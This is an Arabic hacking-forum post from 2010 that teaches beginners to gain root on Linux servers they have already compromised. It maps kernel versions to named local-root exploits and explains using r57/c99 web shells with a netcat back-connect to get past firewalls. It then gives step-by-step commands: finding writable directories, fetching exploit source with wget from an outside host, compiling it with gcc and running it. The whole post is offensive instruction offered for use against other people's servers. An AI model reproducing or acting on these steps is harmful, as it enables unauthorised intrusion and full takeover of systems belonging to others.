التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام



العودة   :: vBspiders Professional Network :: > [ ::. الـقرصـنـة والأختراق ~ The Hidden World Of Hackers .:: ] > قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات

 
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 12-07-2010, 07:12 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
 
إحصائية العضو







HaNGaw Kurd!$tanY غير متواجد حالياً

إرسال رسالة عبر MSN إلى HaNGaw Kurd!$tanY إرسال رسالة عبر Yahoo إلى HaNGaw Kurd!$tanY

 

 

إحصائية الترشيح

عدد النقاط : 10
HaNGaw Kurd!$tanY is on a distinguished road

افتراضي الحصول على صلاحيات root



Local root Exploit

كثيرا ما نسمع عن هذا الصطلح لكن قلة من يفهمه و قادر على استعماله. ان شاء الله سنشرح بتعمق و ببصاطة هذا المفهوم. على فكرة افضل الشروح للتعلم هي المقالية . بسم الله نبدأ

انضمة GNU/Linux الاكثر انتشارا و استعمالا في ساحة الويب و رغم قوتها الا انها لا تخلو من اخطاء برمجية يستفيد منها الهكر و Local root هو ضعف في نواة لنكس يستتمره الهكر للحصول على صلاحيات root على السرفر . كانت مقدمة بسيطة للتوضيح لمن لا يعرف و الان ندخل في الجد كما قلت Local root هو خطأ برمجي في نواة لنكس للحصول على صلاحيات root - rooting و السيطرة بالكامل على السرفر و لفعل دالك لابد من شروط يجب توفرها الشرط المهم و الاساسي هو ان لا تكون نواة لنكس قد تمت ترقيتها بمعني تم تصحيح الخطأ البرمجي Pateched في هذه الحالة لن يعمل Local root لأن الخطأ البرمجي الذي يستغله قد صحح. كما يلزمنا Safe Mod: OFF لاجل تنفيد بعض الاوامر و في حالة Safe Mod: On هناك طرق عدة لتخطيه ليست موصوعنا في هذا المقال كما لازم اكون لدينا صلاحيات على gcc لاجل ترجمة Local root في حالة انعدام التصريح بالإستعمال
gcc لا يبقى سوى ترجمته على سرفر آخر ورفع الملف المترجم على السرفر المستهدف لكن ذي غالبا مايكون بها مشاكل ربما كثير منكم لم يفهم هذه النقطة و خاصة المبتذئين منكم و الذين ليست لهم دراية بانضمة GNU/Linix لدا سأبسط اكثر ليسهل الفهم , Local root الدي سنستعمل للحصل على صلاحيات root مكتوب بلغة c اي انه كود مصدري لا يمكن استعماله مباشرة لان النظام وهو هنا هو linux لا يفهم هذه اللغة مباشرة من كودها المصدري بل تحتاج الى ترجمة ليتمكن النظام من تشغيله و هذا هو دور gcc اي انه يقوم بترجمة coude source الملفات المصدرية مكتوبة بلغة c إلي ملفات تنفيذية ليتمكن النظام من تنفيدها أعقد أنه واضح Local root مكتوب بلغة c نقوة بترجمته بواسطة gcc للحصول على ملف تنفيذي لكي نتمكن
من تشغيله للحصول على صلاحيات root. ربما منكم من يقول لي لماذا هذا العذاب كله رفع Local root على السرفر تم ترجمته لماذا لا نترجمه على حاسوبي و أحتفظ به كلما إحتجته رفعته مترجم دون وجع راس أو أترجمه على سرفر و أحتفض به كلما إحتجته إستعملته. طيب شوفو معي و سأشرح ببصاطة شديدة، كلنا نعرف الملفات التنفيدية على انظمة وندوز أينما وضعتها تعمل على الوندوز بسبب بسيط هو أن للوندوز تقريبا نفس النواة لجميع الإصدارات وهذا شيء عادي لأن شركة واحدة هى التي تستحوذ عليه ميكروسوفت ومن البديهي أن جميع إصداراتها تكون متوافقة لكن بالنسبة لأنضمة GNU/Linux هناك أكثر من 5 ملايين توزيعة لمئات الشركات لأنه مفتوح المصدر فكل شركة أو منظمة تقوم بالتغير في النواة على حسب متطلباتها و إحتياجاتها لذالك لدينا هذا العدد الهائل من التوزيعات أي هناك ملفات تنفيدية تعمل على توزيعة دون غيرها لذالك نحمل الكود المصدري و نقوم بترجمته
لكي يتلائم مع نظامنا و يعمل دون مشاكل كما ان Local root مرتبط باصدار النواة Karnel فكل إصدار لهLocal root خاص به و هذا ما يوضحه هذا الجدول :

كود PHP:
Kernel Version Root Exploit

2.2.27 
elfcd1
2.2
.ptrace24
2.4.17 
newlocal
2.4.18 
ptrace
2.4.19 
ptrace
2.4.20 
ptrace
2.4.21 
ptrace
2.4.22
-10 loginx
2.4.22 
ptrace
2.4.23 
hatorihanzo
2.4.24 
mremap_pte
2.4.25 
mremap_pte
2.4.26 
mremap_pte
2.4.27 
mremap_pte
2.4.29 
1
2.4
.ptrace-kmod
2.4 2.6 
:  pwned
2.6.2 
h00lyshit
2.6.4 
hudo
2.6.5 
h00lyshit
2.6.7 
h00lyshit
2.6.8 
h00lyshit
2.6.9
-34 h00lyshit
2.6.9 
h00lyshit
2.6.10 
h00lyshit
2.6.11 
k-rad
2.6.12 
binfmt_elf
2.6.13 
h00lyshit
2.6.14 
h00lyshit
2.6.15 
h00lyshit
2.6.16 
h00lyshit
2.6.17 
prct1
2.6
.x  h00lyshit
2.6.17 
2.6.24.1 jessica
2.6.23 
2.6.24 vmsplice
FreeBSD 4.4
-4.6 bsd
FreeBSD 4.8 
48local
FreeBSD 5.3 
exploit [source ]~freedbs5.3
Mac OS X 
macosX
RedHat 7.3 
afd-expl
RedHat 8.0 
0x82-Remote.tannehehe.xpl.c
RedHat 7.0 
crontab
RedHat 7.1 
rh71sm8 
أعتقد الآن كل شيء واضح كلنا نعرف الآن Local root بقي لنا كيفية إستعماله ، تابعو معي و ان شاء الله نكمل الشرح.الان اخترقنا موقع و رفعنا الشيل و Safe_mode = Off و كل شيء تمام حلو، الخطوة القادمة معرفة إصدار Karnel إما بواسطة الشيل و أنا أفضل r57 أو نفد عن طريق الشيل الأمر uname - a حصلنا على الإصدار Karnel بقي الحصول على Local root الموافق للإصدار، دور بالنت بتلاقي بلاوي، طيب أنا لقيت Local root للإصدار لعندي مثلا في في هذا الموقع http://www.xxx.com/localroot/h00lyshit.c هناك مواقع حماية كثيرة تقدم لك Local root .الى الان كل شيء تمام الخطوة الثالية عمل Back connect مع السرفر ,في منكم حيتسائل شو قلت Back connect وش ذي كمان، طيب بصط أكثر هي طريقة نخلي السرفر يتصل بنا على بورت معين لتخطي الجدار الناري لسرفر firewall . بإستطاعتنا فتح بورت بالسرفر باستعمال
Binding port و هي خاصية بالشيل تستطيع استعمالها تحدد البورت و passwd و نوع السكريبت المستعمل Perl او c و تعمل Bind و بكدا تكون فتحت بورت بالسرفر و بعين تتصل NetCat بالسرفر لكن في حالة وجود جدار ناري بالسرفر لا نستطيع الإتصال لأنه يعمل block لأي إتصال لغير المنافد المسموح لها لذالك لتخطي هذا المشكل نخلي السرفر هو الذي يتصل بنا و لكن يجب ان يكون ip لجهازك Public Ipاي معروف على مستوى العالم
و ليس Private Ip كموديمات 3G أعتقد انه واضح. طيب لعمل back connect اما عن طريق الشيل ك c99 او r57 او باستعمال backdoor لاسهل الامر بستعمل الشيل و انا بفضل r57. نروح الى Back connection بالشيل هي موجودة بالاسفل في r57 أو clikc على Tools ب c99.

الان نروح على NetCat و نفتح بورت بجهازنا يعني نتنصت على البورت لي حيتصل به السرفر بنا

كود PHP:
nc ----p 31373 
الان بقي نخلي السرفر يتصل بنا على نفس البورت، نروح على الشيل و في خاصية Back Connect نحط Ip تبعنا و بورت الإتصال و نعمل connect و نروح على Netcat و نشوف Now script try connect to (your ip here) on port 31373... ادا كان كل شيء تمام NetCat ستعطيك shell console على السرفر بصلاحيات محدودة. قد تتسائل لماذا لا ننفد كل هذا من الشيل دون back connect بلا وجع راس، بجاوبك الشيل ينفذ أوامر على النظام باستخدام دوال php اشهرها : shell_exec , system , exec بتكون محدودة من سرفر لآخر يعني أنت لا تنفد أوامر على السرفر مباشرة يعني انت متصل بالسرفر باستعمال البروتكول http يعني مقيد بمجموعة من العوامل كا open_basedir مثلا ادا كانت مفعلة، كان بودي اشرح اكثر لكن مو موضوعنا لدالك نقوم بعمل back conecct كما لو اننا متصلين عن طريق ssh. الان نبحث عن مجلد لرفع Local root لكن بصلاحيات الكتابة، و لفعل دالك ننفد امر للبحث find / -perm -2 -ls او نستخدم tmp فهو يملك هذا التصريح دائما, الان ندخل على المجلد لوجدنا به تصريح الكتابة او ندخل على ملف temp بالامر cd /tmp الان نقوم برفع Local root الموافق لاصدار Karnel بالامر

كود PHP:
wget http://www.xxx/localroot/h00lyshit.c 
من shell console دائما نتاكد من ان local Rootقد رفع بتفيد الامر ls ثم نعطيه تصريح 777 باستعمال الامر chmod 777 h00lyshit.c الان نقوم بترجمة Loca root الذي رفعناه بالامر gcc h00lyshit.c -o h00lyshi بعد الترجمة حصلنا على ملف تنفيدي لا يبقى سوى تشغيله للحصول على صلاحيات root بالأمر ./h00lyshit ننتظر قليلا ثم نشوف صلاحيات في حالة عدم الحصول على root فان karnel قد تمت ترقيتها Patched و بذالك دهب كل الشغل ذا في الصفر لكن لا تزعلوا ان شاء الله في المقال القادم إذا ما متنا بكتب شرح للحصول على root من خلال MySQL سواء في أنظمة GNU/Linux أو windows بطريقة جديدة و حلوة لكن بدها شطارة



hgpw,g ugn wghpdhj root

التوقيع

HaNGaw Kurd!$tanY

Www.KurdHackTeam.Net

لتعارف
Email :
H_K@HaCker.ps
HaNGawKurdistanY@Yahoo.Com

 

   

رد مع اقتباس
 

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع


الساعة الآن 05:52 PM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0